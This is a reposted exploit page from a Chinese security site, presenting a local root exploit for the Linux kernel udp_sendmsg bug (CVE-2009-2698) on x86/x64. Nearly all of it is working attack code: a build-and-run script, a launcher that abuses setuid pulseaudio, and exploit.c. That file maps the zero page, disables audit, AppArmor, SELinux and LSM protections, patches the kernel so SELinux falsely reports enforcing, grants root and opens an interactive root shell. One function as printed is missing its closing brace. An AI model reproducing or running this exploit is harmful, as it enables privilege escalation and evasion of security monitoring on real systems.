首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
Linux Kernel < 2.6.19 udp_sendmsg Local Root Exploit (x86/x64)
来源:http://grsecurity.net/~spender 作者:spender 发布时间:2009-09-03  
/* second verse, same as the first
   CVE-2009-2698 udp_sendmsg(), x86/x64
   Cheers to Julien/Tavis for the bug, p0c73n1 for just throwing code at
   NULL and finding it executed
   This exploit is a bit more nuanced and thoughtful ;)
   use ./therebel.sh for everything

   At this moment, when each of us must fit an arrow to his bow and
   enter the lists anew, to reconquer, within history and in spite of it,
   that which he owns already, the thin yield of his fields, the brief
   love of the earth, at this moment when at last a man is born, it is
   time to forsake our age and its adolescent furies.  The bow bends;
   the wood complains.  At the moment of supreme tension, there will
   leap into flight an unswerving arrow, a shaft that is inflexible and
   free.  -Camus
*/

main: http://grsecurity.net/~spender/therebel.tgz
back: http://milw0rm.com/sploits/2009-therebel.tgz

--------------------------pwnkernel.c----------------------------------

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/personality.h>
#include <sys/stat.h>

#define PULSEAUDIO_PATH "/usr/bin/pulseaudio"
#define PATH_TO_EXPLOIT "/home/spender/therebel/therebel/exploit.so"

int main(void)
{
 int ret;
 struct stat fstat;

 ret = personality(PER_SVR4);

 if (ret == -1) {
  fprintf(stderr, "Unable to set personality!\n");
  return 0;
 }

 fprintf(stdout, " [+] Personality set to: PER_SVR4\n");

 if (stat(PULSEAUDIO_PATH, &fstat)) {
  fprintf(stderr, "Pulseaudio does not exist!\n");
  return 0;
 }

 if (!(fstat.st_mode & S_ISUID) || fstat.st_uid != 0) {
  fprintf(stderr, "Pulseaudio is not suid root!\n");
  return 0;
 }
 
 execl(PULSEAUDIO_PATH, PULSEAUDIO_PATH, "--log-level=0", "-L", PATH_TO_EXPLOIT, NULL);

 return 0;
}

------------------------------therebel.sh-------------------------

#!/bin/sh

ESCAPED_PWD=`pwd | sed 's/\//\\\\\//g'`
sed "s/\/home\/spender/$ESCAPED_PWD/g" pwnkernel.c > pwnkernel1.c
mv pwnkernel.c pwnkernel2.c
mv pwnkernel1.c pwnkernel.c
killall -9 pulseaudio 2> /dev/null
IS_64=`uname -p`
OPT_FLAG=""
if [ "$IS_64" = "x86_64" ]; then
  OPT_FLAG="-m64"
fi
MINADDR=`cat /proc/sys/vm/mmap_min_addr 2> /dev/null`
if [ "$MINADDR" = "" -o "$MINADDR" = "0" ]; then
    cc -fno-stack-protector $OPT_FLAG -o exploit exploit.c 2> /dev/null
    if [ "$?" = "1" ]; then
       cc $OPT_FLAG -o exploit exploit.c 2> /dev/null
    fi
    ./exploit
elif [ ! -f '/selinux/enforce' ]; then
    cc -fno-stack-protector -fPIC $OPT_FLAG -shared -o exploit.so exploit.c 2> /dev/null
    if [ "$?" = "1" ]; then
       cc -fPIC $OPT_FLAG -shared -o exploit exploit.c 2> /dev/null
    fi
    cc $OPT_FLAG -o pwnkernel pwnkernel.c
  ./pwnkernel
else
    cc -fno-stack-protector $OPT_FLAG -o exploit exploit.c 2> /dev/null
    if [ "$?" = "1" ]; then
       cc $OPT_FLAG -o exploit exploit.c 2> /dev/null
    fi
    ./exploit
    if [ "$?" = "1" ]; then
      runcon -t initrc_t ./exploit
      if [ "$?" = "1" ]; then
        runcon -t wine_t ./exploit
        if [ "$?" = "1" ]; then
          runcon -t vbetool_t ./exploit
          if [ "$?" = "1" ]; then
            runcon -t unconfined_mono_t ./exploit
            if [ "$?" = "1" ]; then
  runcon -t samba_unconfined_net_t ./exploit
     fi
   fi
 fi
      fi
    fi
fi
mv -f pwnkernel2.c pwnkernel.c

---------------------------------exploit.c--------------------------

/* second verse, same as the first
   CVE-2009-2698 udp_sendmsg(), x86/x64
   Cheers to Julien/Tavis for the bug, p0c73n1 for just throwing code at
   NULL and finding it executed
   This exploit is a bit more nuanced and thoughtful ;)
   use ./therebel.sh for everything

   At this moment, when each of us must fit an arrow to his bow and
   enter the lists anew, to reconquer, within history and in spite of it,
   that which he owns already, the thin yield of his fields, the brief
   love of the earth, at this moment when at last a man is born, it is
   time to forsake our age and its adolescent furies.  The bow bends;
   the wood complains.  At the moment of supreme tension, there will
   leap into flight an unswerving arrow, a shaft that is inflexible and
   free.  -Camus
*/

#include <asm/unistd.h>
#include <signal.h>
#include <stdbool.h>
#include <stddef.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/file.h>
#include <sys/mman.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <sys/user.h>
#include <sys/personality.h>
#include <unistd.h>

struct dst_entry {
 void *next;
 int refcnt;
 int use;
 void *child;
 void *dev;
 short error;
 short obsolete;
 int flags;
 unsigned long lastuse;
 unsigned long expires;
 unsigned short header_len;
 unsigned short trailer_len;
 unsigned int metrics[14];
 /* things change from version to version past here, so let's do this: */
 void *own_the_kernel[10];
};

int got_ring0 = 0;
int got_root = 0;
int eightk_stack = 0;
int twofourstyle = 0;

#define TASK_RUNNING 0

static inline unsigned long get_current_4k(void)
{
 unsigned long current = 0;

 current = (unsigned long)&current;

 current = *(unsigned long *)(current & 0xfffff000);
 if (current < 0xc0000000 || current > 0xfffff000)
  return 0;
 if (*(long *)current != TASK_RUNNING)
  return 0;

 return current;
}

static inline unsigned long get_current_8k(void)
{
 unsigned long current = 0;
 unsigned long oldstyle = 0;

 eightk_stack = 1;

 current = (unsigned long)&current;
 oldstyle = current & 0xffffe000;
 current = *(unsigned long *)(oldstyle);

 twofourstyle = 1;
 if (current < 0xc0000000 || current > 0xfffff000)
  return oldstyle;
 if (*(long *)current != TASK_RUNNING)
  return oldstyle;

 twofourstyle = 0;
 return current;
}

static inline unsigned long get_current_x64(void)
{
 unsigned long current = 0;
#ifdef __x86_64__
 asm volatile (
 "movq %%gs:(0), %0"
 : "=r" (current)
 );
#endif
 return current;

static unsigned long get_kernel_sym(char *name)
{
 FILE *f;
 unsigned long addr;
 char dummy;
 char sname[256];
 int ret;

 f = fopen("/proc/kallsyms", "r");
 if (f == NULL) {
  f = fopen("/proc/ksyms", "r");
  if (f == NULL) {
   fprintf(stdout, "Unable to obtain symbol listing!\n");
   exit(0);
  }
 }

 ret = 0;
 while(ret != EOF) {
  ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname);
  if (ret == 0) {
   fscanf(f, "%s\n", sname);
   continue;
  }
  if (!strcmp(name, sname)) {
   fprintf(stdout, " [+] Resolved %s to %p\n", name, (void *)addr);
   fclose(f);
   return addr;
  }
 }

 fclose(f);
 return 0;
}

int *audit_enabled;

int *selinux_enforcing;
int *selinux_enabled;
int *sel_enforce_ptr;

int *apparmor_enabled;
int *apparmor_logsyscall;
int *apparmor_audit;
int *apparmor_complain;

unsigned long *security_ops;
unsigned long default_security_ops;

unsigned long sel_read_enforce;

int what_we_do;

unsigned int our_uid;

typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred);
typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred);
_commit_creds commit_creds;
_prepare_kernel_cred prepare_kernel_cred;

static void give_it_to_me_any_way_you_can(void)
{
 if (commit_creds && prepare_kernel_cred) {
  commit_creds(prepare_kernel_cred(0));
  got_root = 1;
 } else {
  unsigned int *current;
  unsigned long orig_current;

  if (sizeof(unsigned long) != sizeof(unsigned int))
   orig_current = get_current_x64();
  else {
   orig_current = get_current_4k();
   if (orig_current == 0)
    orig_current = get_current_8k();
  }

repeat:
  current = (unsigned int *)orig_current;
  while (((unsigned long)current < (orig_current + 0x1000 - 17 )) &&
   (current[0] != our_uid || current[1] != our_uid ||
    current[2] != our_uid || current[3] != our_uid))
   current++;

  if ((unsigned long)current >= (orig_current + 0x1000 - 17 ))
   return;

  got_root = 1;
  memset(current, 0, sizeof(unsigned int) * 8);
 }

 return; 
}

static int __attribute__((regparm(3))) own_the_kernel(unsigned long a)
{
 got_ring0 = 1;

 if (audit_enabled)
  *audit_enabled = 0;

 // disable apparmor
 if (apparmor_enabled && *apparmor_enabled) {
  what_we_do = 1;
   *apparmor_enabled = 0;
  if (apparmor_audit)
   *apparmor_audit = 0;
  if (apparmor_logsyscall)
   *apparmor_logsyscall = 0;
  if (apparmor_complain)
   *apparmor_complain = 0;
 }

 // disable SELinux
 if (selinux_enforcing && *selinux_enforcing) {
  what_we_do = 2;
  *selinux_enforcing = 0;
 }

 if (!selinux_enabled || (selinux_enabled && *selinux_enabled == 0)) {
  // trash LSM
  if (default_security_ops && security_ops) {
   if (*security_ops != default_security_ops)
    what_we_do = 3;
   *security_ops = default_security_ops;
  }
 }

 /* make the idiots think selinux is enforcing */
 if (sel_read_enforce) {
  unsigned char *p;
  unsigned long _cr0;

  asm volatile (
  "mov %%cr0, %0"
  : "=r" (_cr0)
  );
  _cr0 &= ~0x10000;
  asm volatile (
  "mov %0, %%cr0"
  :
  : "r" (_cr0)
  );
  if (sizeof(unsigned int) != sizeof(unsigned long)) {
   /* 64bit version, look for the mov ecx, [rip+off]
      and replace with mov ecx, 1
   */
   for (p = (unsigned char *)sel_read_enforce; (unsigned long)p < (sel_read_enforce + 0x30); p++) {
    if (p[0] == 0x8b && p[1] == 0x0d) {
     p[0] = '\xb9';
     p[5] = '\x90';
     *(unsigned int *)&p[1] = 1;
    }
   }
  } else {
   /* 32bit, replace push [selinux_enforcing] with push 1 */
   for (p = (unsigned char *)sel_read_enforce; (unsigned long)p < (sel_read_enforce + 0x20); p++) {
    if (p[0] == 0xff && p[1] == 0x35) {
     // while we're at it, disable
     // SELinux without having a
     // symbol for selinux_enforcing ;)
     if (!selinux_enforcing) {
      sel_enforce_ptr = *(int **)&p[2];
      *sel_enforce_ptr = 0;
      what_we_do = 2;
     }
     p[0] = '\x68';
     p[5] = '\x90';
     *(unsigned int *)&p[1] = 1;
    } else if (p[0] == 0xa1 &&
     *(unsigned int *)&p[1] > 0xc0000000) {
     /* old 2.6 are compiled different */
     if (!selinux_enforcing) {
      sel_enforce_ptr = *(int **)&p[1];
      *sel_enforce_ptr = 0;
      what_we_do = 2;
     }
     p[0] = '\xb8';
     *(unsigned int *)&p[1] = 1;
    }
   }
  }
  _cr0 |= 0x10000;
  asm volatile (
  "mov %0, %%cr0"
  :
  : "r" (_cr0)
  );
 }

 // push it real good
 give_it_to_me_any_way_you_can();

 return -1;
}

void trigger_it(void)
{
 struct sockaddr sock = {
  .sa_family = AF_UNSPEC,
  .sa_data = "CamusIsAwesome",
 };
 char buf[1024] = {0};
 int fd;

 fd = socket(PF_INET, SOCK_DGRAM, 0);
 if (fd < 0) {
  fprintf(stdout, "failed to create socket\n");
  exit(1);
 }
  
 sendto(fd, buf, 1024, MSG_PROXY | MSG_MORE, &sock, sizeof(sock));
 sendto(fd, buf, 1024, 0, &sock, sizeof(sock));

 return;
}

int pa__init(void *m)
{
 struct dst_entry *mem = NULL;
 int ret;
 int i;

 our_uid = getuid();

 /* we don't need an executable mapping for this exploit ;) */
 if ((personality(0xffffffff)) != PER_SVR4) {
  mem = mmap(NULL, 0x1000, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0);
  if (mem != NULL) {
   fprintf(stdout, "UNABLE TO MAP ZERO PAGE!\n");
   return 1;
  }
 } else {
  ret = mprotect(NULL, 0x1000, PROT_READ | PROT_WRITE);
  if (ret == -1) {
   fprintf(stdout, "UNABLE TO MPROTECT ZERO PAGE!\n");
   return 1;
  }
 }

 fprintf(stdout, " [+] MAPPED ZERO PAGE!\n");

 selinux_enforcing = (int *)get_kernel_sym("selinux_enforcing");
 selinux_enabled = (int *)get_kernel_sym("selinux_enabled");
 apparmor_enabled = (int *)get_kernel_sym("apparmor_enabled");
 apparmor_complain = (int *)get_kernel_sym("apparmor_complain");
 apparmor_audit = (int *)get_kernel_sym("apparmor_audit");
 apparmor_logsyscall = (int *)get_kernel_sym("apparmor_logsyscall");
 security_ops = (unsigned long *)get_kernel_sym("security_ops");
 default_security_ops = get_kernel_sym("default_security_ops");
 sel_read_enforce = get_kernel_sym("sel_read_enforce");
 audit_enabled = (int *)get_kernel_sym("audit_enabled");
 commit_creds = (_commit_creds)get_kernel_sym("commit_creds");
 prepare_kernel_cred = (_prepare_kernel_cred)get_kernel_sym("prepare_kernel_cred");

 /* for stealthiness based on reversing, makes sure that frag_off
    is set in skb so that a printk isn't issued alerting to the
    exploit in the ip_select_ident path
 */
 mem->metrics[1] = 0xfff0;
 /* the actual "output" function pointer called by dst_output */
 for (i = 0; i < 10; i++)
  mem->own_the_kernel[i] = (void *)&own_the_kernel;

 /* trigger it */
 trigger_it();

 if (got_ring0) {
  fprintf(stdout, " [+] got ring0!\n");
 } else {
  fprintf(stdout, "didn't get ring0, bailing\n");
  return 1;
 }

 fprintf(stdout, " [+] detected %s %dk stacks\n",
  twofourstyle ? "2.4 style" : "2.6 style",
  eightk_stack ? 8 : 4);

 {
  char *msg;
  switch (what_we_do) {
   case 1:
    msg = "AppArmor";
    break;
   case 2:
    msg = "SELinux";
    break;
   case 3:
    msg = "LSM";
    break;
   default:
    msg = "nothing, what an insecure machine!";
  }
  fprintf(stdout, " [+] Disabled security of : %s\n", msg);
 }
 if (got_root == 1)
  fprintf(stdout, " [+] Got root!\n");
 else {
  fprintf(stdout, " [+] Failed to get root :( My uid setting code is broke for this kernel, email me.\n");
  exit(0);
 }

 execl("/bin/sh", "/bin/sh", "-i", NULL);

 return 0;
}

void pa__done(void *m)
{
 return;
}

int main(void)
{
  pa__init(NULL);
  return 0;
}


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·osCommerce Online Merchant ver
·Linux Kernel < 2.6.19 udp_send
·Nokia Multimedia Player versio
·Discuz! Plugin JiangHu <= 1.1
·SmartVmd Active-X version 1.3
·Microsoft IIS versions 5 and 6
·SmartVmd Active-X version 1.3
·Adobe Acrobat/Reader < 7.1.1/8
·Unsniff Network Analyzer versi
·Hamster Audio Player 0.3a (Ass
·dTunes 2.72 (Filename Processi
·SAP Player 0.9 (.m3u) Universa
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved